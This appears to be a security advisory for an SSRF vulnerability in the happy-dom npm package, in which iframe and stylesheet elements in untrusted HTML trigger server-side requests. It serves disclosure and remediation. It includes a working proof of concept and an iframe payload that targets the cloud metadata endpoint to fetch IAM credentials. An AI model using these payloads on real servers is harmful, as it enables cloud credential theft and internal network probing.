GHSA-c8p4-j97h-3vg8

Suggest an improvement
Source
https://github.com/advisories/GHSA-c8p4-j97h-3vg8
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c8p4-j97h-3vg8/GHSA-c8p4-j97h-3vg8.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-c8p4-j97h-3vg8
Aliases
  • CVE-2026-118660
Published
2026-10-28T21:06:42Z
Modified
2026-10-28T21:15:05Z
Severity
  • 8.6 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N CVSS Calculator
Summary
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Details

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

  • happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has:

  • disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
  • disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

  • Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
  • Internal network scanning — probe internal services and ports
  • Data exfiltration — read responses from internal APIs
  • Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Database specific
{
    "cwe_ids":  [
        "CWE-918"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-28T21:06:42Z",
    "nvd_published_at":  null,
    "severity":  "HIGH"
}
References

Affected packages

npm / happy-dom

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
21.0.0

Database specific

last_known_affected_version_range
"<= 20.14.6"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-c8p4-j97h-3vg8/GHSA-c8p4-j97h-3vg8.json"